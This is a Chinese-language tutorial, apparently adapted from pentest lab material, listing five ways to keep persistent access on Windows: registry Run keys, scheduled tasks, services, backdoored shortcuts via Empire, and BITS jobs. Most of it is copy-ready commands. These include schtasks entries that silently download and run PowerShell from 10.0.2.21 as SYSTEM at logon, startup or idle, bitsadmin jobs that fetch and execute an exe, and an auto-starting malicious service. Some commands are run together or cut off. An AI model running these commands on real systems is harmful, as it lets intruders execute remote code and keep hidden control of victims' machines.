一、注册表

reg add "HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"

如果已获得提升的凭据,则最好使用本地计算机注册表位置,而不是当前用户,因为有效负载将在每次系统启动时执行,而与使用系统身份验证的用户无关。

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

在下一次登录期间,有效载荷将会执行

下面这些命令可以让windows在登录期间这些exe或dll文件

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"reg add

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.dll"

二、计划任务

Windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本,这个程序可以用权限维持

在命令提示符下,“ schtasks ”可执行文件可用于创建计划任务,该任务将在每个Windows登录中以SYSTEM的形式下载并执行基于PowerShell的有效负载。

schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System

ZPWLywg可以是可执行文件、powershell脚本或scriptlet的形式

也可以在空闲模式执行

#(X64) - On System Start

schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System

#(X64) - On User Idle (30mins)

schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

#(X86) - On User Login

schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System

#(X86) - On System Start

schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System

#(X86) - On User Idle (30mins)

schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

或者,可以使用PowerShell创建计划任务,这些任务将在用户登录时或在特定时间和日期执行。

$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"

$T = New-ScheduledTaskTrigger -AtLogOn -User "pentestlab"

$S = New-ScheduledTaskSettingsSet

$P = New-ScheduledTaskPrincipal "Pentestlab"

$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S

Register-ScheduledTask Pentestlab -InputObjec $D

$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"

$T = New-ScheduledTaskTrigger -Daily -At 9am

$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest

$S = New-ScheduledTaskSettingsSet

$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S

Register-ScheduledTask PentestLaboratories -InputObject $D

三、服务

如果帐户具有本地管理员特权,则可以从命令提示符创建服务。参数“ binpath ”用于执行任意有效负载,而参数“ auto ”用于确保恶意服务将自动启动。

sc create pentestlab binpath= "cmd.exe /k C:\temp\pentestlab.exe" start="auto" obj="LocalSystem"

sc start pentestlab

或者,可以直接从PowerShell创建新服务。

New-Service -Name "pentestlab" -BinaryPathName "C:\temp\pentestlab.exe" -Description "PentestLaboratories" -StartupType Automatic

sc start pentestlab

四、快捷方式修改

Empire包含一个持久性模块,该模块可以后门合法的快捷方式(.LNK),以执行任意的PowerShell有效负载。现有快捷方式的目标字段将被修改以执行存储在注册表项中的base64脚本。

usemodule persistence/userland/backdoor_lnk

windows用户权限分配列表(操作系统权限维持方式的五种方式)(1)

查看快捷方式的属性将显示目标字段已成功修改以执行PowerShell有效负载。

windows用户权限分配列表(操作系统权限维持方式的五种方式)(2)

由于快捷方式存在于启动文件夹中,因此暂存器将在下一次Windows登录中执行,并且将与命令和控制服务器建立连接。

五、BITS Jobs

Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务。这些实用程序之一是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传输能力。Microsoft提供了一个名为“ bitsadmin ” 的二进制文件和PowerShell cmdlet,用于创建和管理文件传输。最近出的windows全版本提权漏洞也和它有关

命令为

bitsadmin /transfer backdoor /download /priority high http://10.0.2.21/pentestlab.exe C:\tmp\pentestlab.exe

具体用法如下

1.在创建参数需要作业的名称

2.该addfile需要文件的远程位置和本地路径

3.该SetNotifyCmdLine将执行的命令

4.所述SetMinRetryDelay定义时间回调(秒)

5.该简历参数将运行位工作。

bitsadmin /create backdoor

bitsadmin /addfile backdoor "http://10.0.2.21/pentestlab.exe" "C:\tmp\pentestlab.exe"

bitsadmin /SetNotifyCmdLine backdoor C:\tmp\pentestlab.exe NUL

bitsadmin /SetMinRetryDelay "backdoor" 60

bitsadmin /resume backdoor

,